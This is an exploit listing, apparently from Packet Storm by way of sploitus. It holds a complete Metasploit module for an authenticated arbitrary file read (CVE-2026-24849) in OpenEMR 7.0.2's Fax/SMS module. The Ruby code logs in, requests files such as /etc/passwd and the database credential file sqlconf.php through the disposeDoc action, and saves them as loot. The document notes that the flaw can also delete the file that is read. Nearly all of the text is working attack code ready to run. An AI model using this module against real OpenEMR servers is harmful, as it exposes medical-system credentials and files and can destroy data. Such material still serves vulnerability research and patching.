Share
## https://sploitus.com/exploit?id=PACKETSTORM:225427
==================================================================================================================================
    | # Title     : OpenEMR 7.0.2 Authenticated Arbitrary File Read                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.open-emr.org/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary module targets a vulnerability (CVE-2026-24849) in OpenEMR version 7.0.2 and related builds, 
                      specifically an authenticated arbitrary file read flaw in the Fax/SMS module.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenEMR 7.0.2 - Authenticated Arbitrary File Read',
            'Description' => %q{
              The Fax/SMS module's EtherFaxActions::disposeDoc() method
              (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
              `file_path` request parameter and passes it straight to readfile() with no
              path validation. The method never calls authenticate(), so the only thing
              required to reach it is a valid OpenEMR session.
    
              ANY authenticated user (receptionist, clinician, etc.) can read any file
              the web-server user can reach: sites/default/sqlconf.php (DB credentials),
              /etc/passwd, application source, and so on.
    
              WARNING: disposeDoc() calls unlink() on the target *after* reading it.
              Reading a file that the web-server user is allowed to delete WILL remove it.
              Prefer root-owned targets (e.g. /etc/passwd) whose parent directory the web
              user cannot write, so the unlink() fails and the file survives.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-24849'],
              ['URL', 'https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-24849']
            ],
            'DisclosureDate' => '2026-06-06',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS, FILE_DELETION]  # Can delete the file being read
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to OpenEMR installation', '/openemr/']),
          OptString.new('USERNAME', [true, 'OpenEMR username', 'admin']),
          OptString.new('PASSWORD', [true, 'OpenEMR password', '']),
          OptString.new('SITE', [true, 'OpenEMR site', 'default']),
          OptString.new('FILEPATH', [false, 'Absolute path of the remote file to read', '/etc/passwd']),
          OptEnum.new('ACTION', [true, 'Vulnerable action name', 'disposeDoc', ['disposeDoc', 'disposeDocument']])
        ])
        register_advanced_options([
          OptBool.new('DELETE_FILE', [false, 'Delete the file after reading (exploit behavior)', false])
        ])
      end
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'interface/login/login.php')
        })
        unless res
          return Exploit::CheckCode::Unknown('Target did not respond to check')
        end
        unless res.body.include?('OpenEMR') || res.body.include?('openemr')
          return Exploit::CheckCode::Safe('Target does not appear to be an OpenEMR instance')
        end
        cookie = authenticate
        unless cookie
          return Exploit::CheckCode::Detected('Could not authenticate, but OpenEMR detected')
        end
        test_content, status = read_file(cookie, '/etc/hostname')
        if status == 'ok' && test_content && !test_content.empty?
          return Exploit::CheckCode::Vulnerable('Successfully read /etc/hostname')
        end
        Exploit::CheckCode::Appears('OpenEMR detected but file read test failed')
      end
      def authenticate
        print_status("Authenticating to OpenEMR as '#{datastore['USERNAME']}'...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'interface/login/login.php'),
          'vars_get' => {
            'site' => datastore['SITE']
          }
        })
        unless res
          print_error('No response from target')
          return nil
        end
        csrf_token = nil
        if res.body =~ /csrf_token_form.*?value=(["'])(.*?)\1/
          csrf_token = Regexp.last_match(2)
        end
        data = {
          'new_login_session_management' => '1',
          'authProvider' => 'Default',
          'authUser' => datastore['USERNAME'],
          'clearPass' => datastore['PASSWORD'],
          'languageChoice' => '1'
        }
        data['csrf_token_form'] = csrf_token if csrf_token
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'interface/main/main_screen.php'),
          'vars_get' => {
            'auth' => 'login',
            'site' => datastore['SITE']
          },
          'data' => data,
          'keep_cookies' => true
        })
        unless res && res.code == 200
          print_error('Authentication failed')
          return nil
        end
        if res.get_cookies =~ /OpenEMR\w+sess=([^;]+)/
          print_good("Authentication successful")
          return res.get_cookies
        else
          print_error('No session cookie received')
          return nil
        end
      end
      def read_file(cookie, file_path)
        action = datastore['ACTION']
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'interface/modules/custom_modules/oe-module-faxsms/index.php'),
          'vars_get' => {
            'site' => datastore['SITE'],
            'type' => 'fax',
            '_ACTION_COMMAND' => action,
            'file_path' => file_path,
            'action' => 'download'
          },
          'cookie' => cookie
        })
        unless res
          return [nil, 'timeout']
        end
        if res.body.include?('login_screen.php?error=1')
          return [nil, 'session']
        end
        if res.body.include?('Problem with download')
          return [nil, 'missing']
        end
        if res.body && !res.body.empty?
          return [res.body, 'ok']
        end
        [nil, 'missing']
      end
      def run
        print_status("OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)")
        print_warning("WARNING: disposeDoc() calls unlink() on the target AFTER reading it!")
        print_warning("The file will be DELETED if the web server user has write permissions to its parent directory.")
        print_warning("Use root-owned files (e.g., /etc/passwd) or set DELETE_FILE=false advanced option.\n")
        cookie = authenticate
        unless cookie
          print_error('Authentication failed. Check credentials and site.')
          return
        end
        file_path = datastore['FILEPATH']
        unless file_path
          print_error('No FILEPATH specified')
          return
        end
        print_status("Reading file: #{file_path}")
        content, status = read_file(cookie, file_path)
        case status
        when 'ok'
          print_good("Successfully read #{content.length} bytes from #{file_path}")
          report_vuln(
            host: rhost,
            port: rport,
            name: name,
            refs: references
          )
          loot_file = store_loot(
            'openemr.file_read',
            'text/plain',
            rhost,
            content,
            "openemr_#{File.basename(file_path)}",
            "File read from OpenEMR: #{file_path}"
          )
          print_good("File saved to: #{loot_file}")
          print_line("\n" + "=" * 50)
          print_line("File content (#{file_path}):")
          print_line("=" * 50)
          print_line(content[0..2000]) # First 2000 chars
          if content.length > 2000
            print_line("[...] (#{content.length - 2000} more bytes)")
          end
          print_line("=" * 50 + "\n")
    
        when 'session'
          print_error('Session rejected (auth/ACL problem). Login may have expired.')
        when 'missing'
          print_error("File '#{file_path}' not found/readable, or Fax/SMS module is not enabled.")
        else
          print_error('Connection timeout or error')
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================